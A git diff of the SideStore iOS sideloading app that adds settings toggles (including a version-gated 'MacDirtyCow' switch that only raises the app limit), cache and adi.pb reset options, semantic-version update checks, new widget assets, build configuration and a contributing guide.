|
||||
</connections>
|
||||
</tableView>
|
||||
<navigationItem key="navigationItem" title="Settings" id="Ddg-UQ-KJ8"/>
|
||||
<connections>
|
||||
<outlet property="MDCSwitch" destination="6NJ-PB-6Jz" id="bwj-oN-oRv"/>
|
||||
<outlet property="accountEmailLabel" destination="0uP-Cd-tNX" id="14b-aL-yE3"/>
|
||||
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
|
||||
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
|
||||
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
|
||||
<outlet property="noIdleTimeoutSwitch" destination="iQA-wm-5ag" id="jHC-js-q0Y"/>
|
||||
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
|
||||
</connections>
|
||||
</tableViewController>
|
||||
@@ -884,7 +1027,7 @@ Settings by i cons from the Noun Project</string>
|
||||
</objects>
|
||||
<point key="canvasLocation" x="1697" y="313"/>
|
||||
</scene>
|
||||
<!--Patreon-->
|
||||
<!--Support us-->
|
||||
<scene sceneID="Lnh-9P-HnL">
|
||||
<objects>
|
||||
<collectionViewController id="dp8-8j-vt9" customClass="PatreonViewController" customModule="SideStore" customModuleProvider="target" sceneMemberID="viewController">
|
||||
@@ -931,7 +1074,7 @@ Settings by i cons from the Noun Project</string>
|
||||
<outlet property="delegate" destination="dp8-8j-vt9" id="790-Kr-6l7"/>
|
||||
</connections>
|
||||
</collectionView>
|
||||
<navigationItem key="navigationItem" title="Patreon" largeTitleDisplayMode="always" id="uUV-1f-xEq"/>
|
||||
<navigationItem key="navigationItem" title="Support us" largeTitleDisplayMode="always" id="uUV-1f-xEq"/>
|
||||
</collectionViewController>
|
||||
<placeholder placeholderIdentifier="IBFirstResponder" id="qq3-Hj-S9f" userLabel="First Responder" sceneMemberID="firstResponder"/>
|
||||
</objects>
|
||||
|
||||
@@ -24,19 +24,21 @@ extension SettingsViewController
|
||||
case appRefresh
|
||||
case instructions
|
||||
case credits
|
||||
case mdc
|
||||
case debug
|
||||
}
|
||||
|
||||
fileprivate enum AppRefreshRow: Int, CaseIterable
|
||||
{
|
||||
case backgroundRefresh
|
||||
case noIdleTimeout
|
||||
|
||||
@available(iOS 14, *)
|
||||
case addToSiri
|
||||
|
||||
static var allCases: [AppRefreshRow] {
|
||||
guard #available(iOS 14, *) else { return [.backgroundRefresh] }
|
||||
return [.backgroundRefresh, .addToSiri]
|
||||
guard #available(iOS 14, *) else { return [.backgroundRefresh, .noIdleTimeout] }
|
||||
return [.backgroundRefresh, .noIdleTimeout, .addToSiri]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53,8 +55,11 @@ extension SettingsViewController
|
||||
case sendFeedback
|
||||
case refreshAttempts
|
||||
case errorLog
|
||||
case clearCache
|
||||
case resetPairingFile
|
||||
case resetAdiPb
|
||||
case advancedSettings
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -72,6 +77,8 @@ final class SettingsViewController: UITableViewController
|
||||
@IBOutlet private var accountTypeLabel: UILabel!
|
||||
|
||||
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
|
||||
@IBOutlet private var noIdleTimeoutSwitch: UISwitch!
|
||||
@IBOutlet private var MDCSwitch: UISwitch!
|
||||
|
||||
@IBOutlet private var versionLabel: UILabel!
|
||||
|
||||
@@ -147,6 +154,30 @@ private extension SettingsViewController
|
||||
}
|
||||
|
||||
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
|
||||
self.noIdleTimeoutSwitch.isOn = UserDefaults.standard.isIdleTimeoutDisableEnabled
|
||||
|
||||
let MDCMinimumVersion = OperatingSystemVersion(majorVersion: 14, minorVersion: 0, patchVersion: 0)
|
||||
let MDCMaximumVersion1 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2)
|
||||
let MDCMaximumVersionSep = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0)
|
||||
let MDCMaximumVersion2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0)
|
||||
|
||||
var canUseMDC = false
|
||||
|
||||
if ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMinimumVersion) { // at least 14.0.0
|
||||
if !ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersion1) { // not at least 15.7.2 (less than 15.7.2)
|
||||
canUseMDC = true
|
||||
}
|
||||
if !ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersion2) && ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersionSep) { // not at least 16.2.0 but more than 16.0.0
|
||||
canUseMDC = true
|
||||
}
|
||||
}
|
||||
|
||||
if !canUseMDC {
|
||||
UserDefaults.standard.isMDCEnabled = false
|
||||
}
|
||||
|
||||
self.MDCSwitch.isOn = UserDefaults.standard.isMDCEnabled
|
||||
self.MDCSwitch.isEnabled = canUseMDC
|
||||
|
||||
if self.isViewLoaded
|
||||
{
|
||||
@@ -160,7 +191,7 @@ private extension SettingsViewController
|
||||
settingsHeaderFooterView.secondaryLabel.isHidden = isHeader
|
||||
settingsHeaderFooterView.button.isHidden = true
|
||||
|
||||
settingsHeaderFooterView.layoutMargins.bottom = isHeader ? 0 : 8
|
||||
settingsHeaderFooterView.layoutMargins.bottom = isHeader ? 0 : 9
|
||||
|
||||
switch section
|
||||
{
|
||||
@@ -177,11 +208,11 @@ private extension SettingsViewController
|
||||
case .patreon:
|
||||
if isHeader
|
||||
{
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("PATREON", comment: "")
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("SUPPORT US", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Support the SideStore Team by becoming a patron!", comment: "")
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Support the SideStore Team by following our socials or becoming a patron!", comment: "")
|
||||
}
|
||||
|
||||
case .account:
|
||||
@@ -206,6 +237,21 @@ private extension SettingsViewController
|
||||
|
||||
case .credits:
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
|
||||
|
||||
case .mdc:
|
||||
if isHeader
|
||||
{
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("MACDIRTYCOW", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
#if MACDIRTYCOW
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("This only works on iOS 15 - 15.7.1 and iOS 16 - iOS 16.1.2", comment: "")
|
||||
#else
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("This only works on iOS 15 - 15.7.1 and iOS 16 - iOS 16.1.2. This build is not a MacDirtyCow build, therefore this will only lift the 3 app limit", comment: "")
|
||||
#endif
|
||||
settingsHeaderFooterView.secondaryLabel.isHidden = false
|
||||
}
|
||||
|
||||
case .debug:
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("DEBUG", comment: "")
|
||||
@@ -279,6 +325,22 @@ private extension SettingsViewController
|
||||
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
|
||||
}
|
||||
|
||||
@IBAction func toggleNoIdleTimeoutEnabled(_ sender: UISwitch)
|
||||
{
|
||||
UserDefaults.standard.isIdleTimeoutDisableEnabled = sender.isOn
|
||||
}
|
||||
|
||||
@IBAction func toggleMDCEnabled(_ sender: UISwitch)
|
||||
{
|
||||
UserDefaults.standard.isMDCEnabled = sender.isOn
|
||||
if sender.isOn {
|
||||
UserDefaults.standard.activeAppsLimit = 69420
|
||||
}
|
||||
else {
|
||||
UserDefaults.standard.activeAppsLimit = 3
|
||||
}
|
||||
}
|
||||
|
||||
@available(iOS 14, *)
|
||||
@IBAction func addRefreshAppsShortcut()
|
||||
{
|
||||
@@ -290,6 +352,39 @@ private extension SettingsViewController
|
||||
self.present(viewController, animated: true, completion: nil)
|
||||
}
|
||||
|
||||
func clearCache()
|
||||
{
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to clear SideStore's cache?", comment: ""),
|
||||
message: NSLocalizedString("This will remove all temporary files as well as backups for uninstalled apps.", comment: ""),
|
||||
preferredStyle: .actionSheet)
|
||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style) { [weak self] _ in
|
||||
self?.tableView.indexPathForSelectedRow.map { self?.tableView.deselectRow(at: $0, animated: true) }
|
||||
})
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Clear Cache", comment: ""), style: .destructive) { [weak self] _ in
|
||||
AppManager.shared.clearAppCache { result in
|
||||
DispatchQueue.main.async {
|
||||
self?.tableView.indexPathForSelectedRow.map { self?.tableView.deselectRow(at: $0, animated: true) }
|
||||
|
||||
switch result
|
||||
{
|
||||
case .success: break
|
||||
case .failure(let error):
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Unable to Clear Cache", comment: ""), message: error.localizedDescription, preferredStyle: .alert)
|
||||
alertController.addAction(.ok)
|
||||
self?.present(alertController, animated: true)
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
if let popoverController = alertController.popoverPresentationController {
|
||||
popoverController.sourceView = self.view
|
||||
popoverController.sourceRect = CGRect(x: self.view.bounds.midX, y: self.view.bounds.midY, width: 0, height: 0)
|
||||
}
|
||||
|
||||
self.present(alertController, animated: true)
|
||||
}
|
||||
|
||||
@IBAction func handleDebugModeGesture(_ gestureRecognizer: UISwipeGestureRecognizer)
|
||||
{
|
||||
self.debugGestureCounter += 1
|
||||
@@ -376,15 +471,26 @@ extension SettingsViewController
|
||||
{
|
||||
let cell = super.tableView(tableView, cellForRowAt: indexPath)
|
||||
|
||||
if #available(iOS 14, *) {}
|
||||
else if let cell = cell as? InsetGroupTableViewCell,
|
||||
indexPath.section == Section.appRefresh.rawValue,
|
||||
indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
||||
// if #available(iOS 14, *) {}
|
||||
// else if let cell = cell as? InsetGroupTableViewCell,
|
||||
// indexPath.section == Section.appRefresh.rawValue,
|
||||
// indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
||||
// {
|
||||
// // Only one row is visible pre-iOS 14.
|
||||
// cell.style = .single
|
||||
// }
|
||||
|
||||
if AppRefreshRow.AllCases().count == 1
|
||||
{
|
||||
// Only one row is visible pre-iOS 14.
|
||||
cell.style = .single
|
||||
if let cell = cell as? InsetGroupTableViewCell,
|
||||
indexPath.section == Section.appRefresh.rawValue,
|
||||
indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
||||
{
|
||||
cell.style = .single
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return cell
|
||||
}
|
||||
|
||||
@@ -395,7 +501,7 @@ extension SettingsViewController
|
||||
{
|
||||
case .signIn where self.activeTeam != nil: return nil
|
||||
case .account where self.activeTeam == nil: return nil
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .mdc:
|
||||
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||
self.prepare(headerView, for: section, isHeader: true)
|
||||
return headerView
|
||||
@@ -410,7 +516,7 @@ extension SettingsViewController
|
||||
switch section
|
||||
{
|
||||
case .signIn where self.activeTeam != nil: return nil
|
||||
case .signIn, .patreon, .appRefresh:
|
||||
case .signIn, .patreon, .appRefresh, .mdc:
|
||||
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||
self.prepare(footerView, for: section, isHeader: false)
|
||||
return footerView
|
||||
@@ -426,7 +532,7 @@ extension SettingsViewController
|
||||
{
|
||||
case .signIn where self.activeTeam != nil: return 1.0
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .mdc:
|
||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
|
||||
return height
|
||||
|
||||
@@ -441,7 +547,7 @@ extension SettingsViewController
|
||||
{
|
||||
case .signIn where self.activeTeam != nil: return 1.0
|
||||
case .account where self.activeTeam == nil: return 1.0
|
||||
case .signIn, .patreon, .appRefresh:
|
||||
case .signIn, .patreon, .appRefresh, .mdc:
|
||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
|
||||
return height
|
||||
|
||||
@@ -464,11 +570,13 @@ extension SettingsViewController
|
||||
switch row
|
||||
{
|
||||
case .backgroundRefresh: break
|
||||
case .noIdleTimeout: break
|
||||
case .addToSiri:
|
||||
guard #available(iOS 14, *) else { return }
|
||||
self.addRefreshAppsShortcut()
|
||||
}
|
||||
|
||||
|
||||
case .credits:
|
||||
let row = CreditsRow.allCases[indexPath.row]
|
||||
switch row
|
||||
@@ -506,6 +614,9 @@ extension SettingsViewController
|
||||
let toastView = ToastView(text: NSLocalizedString("Cannot Send Mail", comment: ""), detailText: nil)
|
||||
toastView.show(in: self)
|
||||
}
|
||||
|
||||
case .clearCache: self.clearCache()
|
||||
|
||||
case .resetPairingFile:
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
let fm = FileManager.default
|
||||
@@ -530,6 +641,25 @@ extension SettingsViewController
|
||||
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
|
||||
self.present(alertController, animated: true)
|
||||
self.tableView.deselectRow(at: indexPath, animated: true)
|
||||
case .resetAdiPb:
|
||||
let alertController = UIAlertController(
|
||||
title: NSLocalizedString("Are you sure you want to reset the adi.pb file?", comment: ""),
|
||||
message: NSLocalizedString("The adi.pb file is used to generate anisette data, which is required to log into an Apple ID. If you are having issues with account related things, you can try this. However, you will be required to do 2FA again. This will do nothing if you are using an older anisette server.", comment: ""),
|
||||
preferredStyle: UIAlertController.Style.actionSheet)
|
||||
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Reset adi.pb", comment: ""), style: .destructive){ _ in
|
||||
if Keychain.shared.adiPb != nil {
|
||||
Keychain.shared.adiPb = nil
|
||||
print("Cleared adi.pb from keychain")
|
||||
}
|
||||
self.tableView.deselectRow(at: indexPath, animated: true)
|
||||
})
|
||||
alertController.addAction(.cancel)
|
||||
//Fix crash on iPad
|
||||
alertController.popoverPresentationController?.sourceView = self.tableView
|
||||
alertController.popoverPresentationController?.sourceRect = self.tableView.rectForRow(at: indexPath)
|
||||
self.present(alertController, animated: true)
|
||||
self.tableView.deselectRow(at: indexPath, animated: true)
|
||||
case .advancedSettings:
|
||||
// Create the URL that deep links to your app's custom settings.
|
||||
if let url = URL(string: UIApplication.openSettingsURLString) {
|
||||
@@ -539,6 +669,7 @@ extension SettingsViewController
|
||||
ELOG("UIApplication.openSettingsURLString invalid")
|
||||
}
|
||||
case .refreshAttempts, .errorLog: break
|
||||
|
||||
}
|
||||
|
||||
default: break
|
||||
|
||||
@@ -381,13 +381,12 @@ private extension SourcesViewController
|
||||
dispatchGroup.notify(queue: .main) {
|
||||
if let error = fetchError
|
||||
{
|
||||
finish(.failure(error))
|
||||
}
|
||||
else
|
||||
{
|
||||
let sources = featuredSourceURLs.compactMap { sourcesByURL[$0] }
|
||||
finish(.success(sources))
|
||||
print(error)
|
||||
// 1 error doesn't mean all trusted sources failed to load! Riley, why did you do this???????
|
||||
// finish(.failure(error))
|
||||
}
|
||||
let sources = featuredSourceURLs.compactMap { sourcesByURL[$0] }
|
||||
finish(.success(sources))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -77,6 +77,12 @@ public class Keychain
|
||||
@KeychainItem(key: "patreonAccountID")
|
||||
public var patreonAccountID: String?
|
||||
|
||||
@KeychainItem(key: "identifier")
|
||||
public var identifier: String?
|
||||
|
||||
@KeychainItem(key: "adiPb")
|
||||
public var adiPb: String?
|
||||
|
||||
private init()
|
||||
{
|
||||
}
|
||||
|
||||
@@ -27,9 +27,10 @@ public extension UserDefaults
|
||||
@NSManaged var preferredServerID: String?
|
||||
|
||||
@NSManaged var isBackgroundRefreshEnabled: Bool
|
||||
@NSManaged var isIdleTimeoutDisableEnabled: Bool
|
||||
@NSManaged var isDebugModeEnabled: Bool
|
||||
@NSManaged var presentedLaunchReminderNotification: Bool
|
||||
|
||||
@NSManaged var isMDCEnabled: Bool
|
||||
@NSManaged var legacySideloadedApps: [String]?
|
||||
|
||||
@NSManaged var isLegacyDeactivationSupported: Bool
|
||||
@@ -42,6 +43,7 @@ public extension UserDefaults
|
||||
@NSManaged var patronsRefreshID: String?
|
||||
|
||||
@NSManaged var trustedSourceIDs: [String]?
|
||||
@NSManaged var trustedServerURL: String?
|
||||
|
||||
var activeAppsLimit: Int? {
|
||||
get {
|
||||
@@ -71,6 +73,7 @@ public extension UserDefaults
|
||||
|
||||
let defaults = [
|
||||
#keyPath(UserDefaults.isBackgroundRefreshEnabled): true,
|
||||
#keyPath(UserDefaults.isIdleTimeoutDisableEnabled): true,
|
||||
#keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported,
|
||||
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
|
||||
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
|
||||
|
||||
@@ -56,6 +56,7 @@
|
||||
<attribute name="certificateSerialNumber" optional="YES" attributeType="String"/>
|
||||
<attribute name="expirationDate" attributeType="Date" usesScalarValueType="NO"/>
|
||||
<attribute name="hasAlternateIcon" attributeType="Boolean" defaultValueString="NO" usesScalarValueType="YES"/>
|
||||
<attribute name="hasUpdate" optional="YES" attributeType="Boolean" usesScalarValueType="YES"/>
|
||||
<attribute name="installedDate" attributeType="Date" usesScalarValueType="NO"/>
|
||||
<attribute name="isActive" attributeType="Boolean" defaultValueString="YES" usesScalarValueType="YES"/>
|
||||
<attribute name="isRefreshing" transient="YES" attributeType="Boolean" defaultValueString="NO" usesScalarValueType="YES"/>
|
||||
|
||||
@@ -10,6 +10,7 @@ import Foundation
|
||||
import CoreData
|
||||
|
||||
import AltSign
|
||||
import SemanticVersion
|
||||
|
||||
// Free developer accounts are limited to only 3 active sideloaded apps at a time as of iOS 13.3.1.
|
||||
public let ALTActiveAppsLimit = 3
|
||||
@@ -59,6 +60,21 @@ public class InstalledApp: NSManagedObject, InstalledAppProtocol
|
||||
return self.storeApp == nil
|
||||
}
|
||||
|
||||
@objc public var hasUpdate: Bool {
|
||||
if self.storeApp == nil { return false }
|
||||
if self.storeApp!.latestVersion == nil { return false }
|
||||
|
||||
let currentVersion = SemanticVersion(self.version)
|
||||
let latestVersion = SemanticVersion(self.storeApp!.latestVersion!.version)
|
||||
|
||||
if currentVersion == nil || latestVersion == nil {
|
||||
// One of the versions is not valid SemVer, fall back to comparing the version strings by character
|
||||
return self.version < self.storeApp!.latestVersion!.version
|
||||
}
|
||||
|
||||
return currentVersion! < latestVersion!
|
||||
}
|
||||
|
||||
public var appIDCount: Int {
|
||||
return 1 + self.appExtensions.count
|
||||
}
|
||||
@@ -147,8 +163,8 @@ public extension InstalledApp
|
||||
class func updatesFetchRequest() -> NSFetchRequest<InstalledApp>
|
||||
{
|
||||
let fetchRequest = InstalledApp.fetchRequest() as NSFetchRequest<InstalledApp>
|
||||
fetchRequest.predicate = NSPredicate(format: "%K == YES AND %K != nil AND %K != %K",
|
||||
#keyPath(InstalledApp.isActive), #keyPath(InstalledApp.storeApp), #keyPath(InstalledApp.version), #keyPath(InstalledApp.storeApp.latestVersion.version))
|
||||
fetchRequest.predicate = NSPredicate(format: "%K == YES AND %K == YES",
|
||||
#keyPath(InstalledApp.isActive), #keyPath(InstalledApp.hasUpdate))
|
||||
return fetchRequest
|
||||
}
|
||||
|
||||
@@ -176,7 +192,7 @@ public extension InstalledApp
|
||||
|
||||
class func fetchAppsForRefreshingAll(in context: NSManagedObjectContext) -> [InstalledApp]
|
||||
{
|
||||
var predicate = NSPredicate(format: "%K == YES AND %K != %@", #keyPath(InstalledApp.isActive), #keyPath(InstalledApp.bundleIdentifier), StoreApp.altstoreAppID)
|
||||
let predicate = NSPredicate(format: "%K == YES AND %K != %@", #keyPath(InstalledApp.isActive), #keyPath(InstalledApp.bundleIdentifier), StoreApp.altstoreAppID)
|
||||
print("Fetch Apps for Refreshing All 'AltStore' predicate: \(String(describing: predicate))")
|
||||
|
||||
// if let patreonAccount = DatabaseManager.shared.patreonAccount(in: context), patreonAccount.isPatron, PatreonAPI.shared.isAuthenticated
|
||||
@@ -207,7 +223,7 @@ public extension InstalledApp
|
||||
// Date 6 hours before now.
|
||||
let date = Date().addingTimeInterval(-1 * 6 * 60 * 60)
|
||||
|
||||
var predicate = NSPredicate(format: "(%K == YES) AND (%K < %@) AND (%K != %@)",
|
||||
let predicate = NSPredicate(format: "(%K == YES) AND (%K < %@) AND (%K != %@)",
|
||||
#keyPath(InstalledApp.isActive),
|
||||
#keyPath(InstalledApp.refreshedDate), date as NSDate,
|
||||
#keyPath(InstalledApp.bundleIdentifier), StoreApp.altstoreAppID)
|
||||
|
||||
BIN
AltWidget/Assets.xcassets/AltStore.imageset/1024.png
vendored
Normal file
|
After Width: | Height: | Size: 846 KiB |
@@ -5,12 +5,12 @@
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"filename" : "Group 23_120.png",
|
||||
"filename" : "1024.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"filename" : "Group 23_180.png",
|
||||
"filename" : "1024.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "3x"
|
||||
}
|
||||
|
||||
|
Before Width: | Height: | Size: 12 KiB |
|
Before Width: | Height: | Size: 21 KiB |
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "group16Copy2.pdf",
|
||||
"filename" : "sidestore-logo.svg",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
|
||||
17
AltWidget/Assets.xcassets/Badge.imageset/sidestore-logo.svg
vendored
Normal file
@@ -0,0 +1,17 @@
|
||||
<svg version="1.2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" width="100" height="100">
|
||||
<title>sidestore-logo-svg</title>
|
||||
<style>
|
||||
.s0 { fill: none }
|
||||
.s1 { fill: #bebbb4 }
|
||||
</style>
|
||||
<g id="Layer">
|
||||
<g id="Layer">
|
||||
<path id="Main" class="s0" />
|
||||
<g id="Main1">
|
||||
<g id="Layer">
|
||||
<path id="Layer" fill-rule="evenodd" class="s1" d="m86 50c0 2.3-1.9 4.2-4.2 4.2h-50.9c-2.3 0-4.2-1.9-4.2-4.2 0-2.3 1.9-4.2 4.2-4.2h50.9c2.3 0 4.2 1.9 4.2 4.2zm-31.8-23.3v2.1c0 3.4-1.3 6.6-3.7 9-2.4 2.4-5.6 3.7-9 3.7h-10.6c-2.2 0-4.4 0.9-5.9 2.5-1.6 1.6-2.5 3.8-2.5 6 0 2.2 0.9 4.4 2.5 6 1.5 1.6 3.7 2.5 5.9 2.5h10.6c3.4 0 6.6 1.3 9 3.7 2.4 2.4 3.7 5.6 3.7 9v10.8c0 1.1-0.4 2.1-1.1 2.8-0.8 0.8-1.8 1.2-2.9 1.2h-0.4c-1.1 0-2.1-0.4-2.9-1.2-0.7-0.7-1.1-1.7-1.1-2.8v-10.8c0-1.1-0.5-2.2-1.3-3-0.8-0.8-1.8-1.3-3-1.3h-10.6c-4.5 0-8.8-1.7-11.9-4.9-3.2-3.2-5-7.5-5-12 0-4.5 1.8-8.8 5-12 3.1-3.2 7.4-4.9 11.9-4.9h10.6c1.2 0 2.2-0.5 3-1.3 0.8-0.8 1.3-1.9 1.3-3v-2.1h-4.3l8.5-12.7 8.5 12.7zm12.7 55.3c0 2.2-1.8 4-4 4h-0.5c-2.2 0-4-1.8-4-4v-19.5c0-2.2 1.8-4 4-4h0.5c2.2 0 4 1.8 4 4z"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.1 KiB |
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "altminicon.pdf",
|
||||
"filename" : "cir.svg",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
|
||||
3
AltWidget/Assets.xcassets/SmallIcon.imageset/cir.svg
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
<svg width="100" height="100" version="1.1" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="50" cy="50" r="50" fill="#fff" stroke-width=".265"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 175 B |
16
AltWidget/Resources/ReleaseEntitlements.plist
Normal file
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>application-identifier</key>
|
||||
<string>XYZ0123456.com.SideStore.SideStore.AltWidget</string>
|
||||
<key>com.apple.developer.team-identifier</key>
|
||||
<string>XYZ0123456</string>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
<string>group.com.SideStore.SideStore</string>
|
||||
</array>
|
||||
<key>get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -1,8 +1,8 @@
|
||||
// Configuration settings file format documentation can be found at:
|
||||
// https://help.apple.com/xcode/#/dev745c5c974
|
||||
|
||||
MARKETING_VERSION = 0.3.0
|
||||
CURRENT_PROJECT_VERSION = 3020
|
||||
MARKETING_VERSION = 0.5.5
|
||||
CURRENT_PROJECT_VERSION = 5050
|
||||
|
||||
// Vars to be overwritten by `CodeSigning.xcconfig` if exists
|
||||
DEVELOPMENT_TEAM = S32Z3HMYVQ
|
||||
@@ -14,11 +14,14 @@ ORG_IDENTIFIER = com.SideStore
|
||||
ORG_PREFIX = $(ORG_IDENTIFIER)
|
||||
|
||||
PRODUCT_NAME = SideStore
|
||||
EXTENSION_PREFIX = $(ORG_PREFIX).SideStore
|
||||
//PRODUCT_NAME[configuration=Debug] = Prov Debug
|
||||
|
||||
PRODUCT_BUNDLE_IDENTIFIER = $(ORG_PREFIX).SideStore
|
||||
//PRODUCT_BUNDLE_IDENTIFIER[configuration=Debug] = $(ORG_PREFIX).$(PROJECT_NAME:lower)-debug
|
||||
// add team ID to bundle ID for debug builds since these will most likely be installed via Xcode
|
||||
// SideStore will expect the team ID to be at the end of the bundle ID, but this doesn't happen when we install via Xcode
|
||||
// we don't want to do this for release since those builds will most likely be installed via SideServer, which adds the team ID
|
||||
PRODUCT_BUNDLE_IDENTIFIER[config=Debug] = $(ORG_PREFIX).SideStore.$(DEVELOPMENT_TEAM)
|
||||
|
||||
APP_GROUP_IDENTIFIER = $(ORG_PREFIX).SideStore
|
||||
EXTENSION_PREFIX = $(PRODUCT_BUNDLE_IDENTIFIER)
|
||||
APP_GROUP_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)
|
||||
ICLOUD_CONTAINER_IDENTIFIER = iCloud.$(ORG_PREFIX).$(PROJECT_NAME)
|
||||
|
||||
61
CONTRIBUTING.md
Normal file
@@ -0,0 +1,61 @@
|
||||
# Contributing to SideStore
|
||||
|
||||
Thank you for your interest in contributing to SideStore! SideStore is a community driven project, and it's made possible by people like you.
|
||||
|
||||
There are many ways to contribute to SideStore, so if you aren't a developer, there are still many other ways you can help out:
|
||||
|
||||
- [Writing documentation](https://github.com/SideStore/SideStore-Docs)
|
||||
- [Submitting detailed bug reports and suggesting new features](https://github.com/SideStore/SideStore/issues/new/choose)
|
||||
- Helping out with support
|
||||
- [Discord](https://discord.gg/sidestore-949183273383395328)
|
||||
- [GitHub Discussions](https://github.com/SideStore/SideStore/discussions)
|
||||
|
||||
However, this guide will focus on the development side of things. For now, we will only have setup information here, but you can [join our Discord](https://discord.gg/RgpFBX3Q3k) if you need help
|
||||
after setup.
|
||||
|
||||
## Requirements
|
||||
|
||||
This guide assumes you:
|
||||
|
||||
- are on a Mac
|
||||
- have Xcode installed
|
||||
- have basic command line knowledge (know how to run commands, cd into a directory)
|
||||
- have basic Git knowledge ([GitHub Desktop](https://desktop.github.com) is a great tool for beginners, and greatly simplifies working with Git)
|
||||
- have basic Swift/iOS development knowledge
|
||||
|
||||
## Setup
|
||||
|
||||
1. Fork the SideStore repo on GitHub.
|
||||
2. Clone the fork: `git clone https://github.com/<your github username>/SideStore.git --recurse-submodules`
|
||||
|
||||
If you are using GitHub Desktop, refer to
|
||||
[this guide](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop).
|
||||
|
||||
3. Copy `CodeSigning.xcconfig.sample` to `CodeSigning.xcconfig` and fill in the values.
|
||||
4. **(Development only)** Change the value for `ALTDeviceID` in the Info.plist to your device's UDID. Normally, SideServer embeds the device's UDID in SideStore's Info.plist during installation. When
|
||||
running through Xcode you'll need to set the value yourself or else SideStore won't resign (or even install) apps for the proper device. You can achieve this by changing a few things to be able to
|
||||
build and use SideStore.
|
||||
5. Finally, open `AltStore.xcodeproj` in Xcode.
|
||||
|
||||
Next, make and test your changes. Then, commit and push your changes using git and make a pull request.
|
||||
|
||||
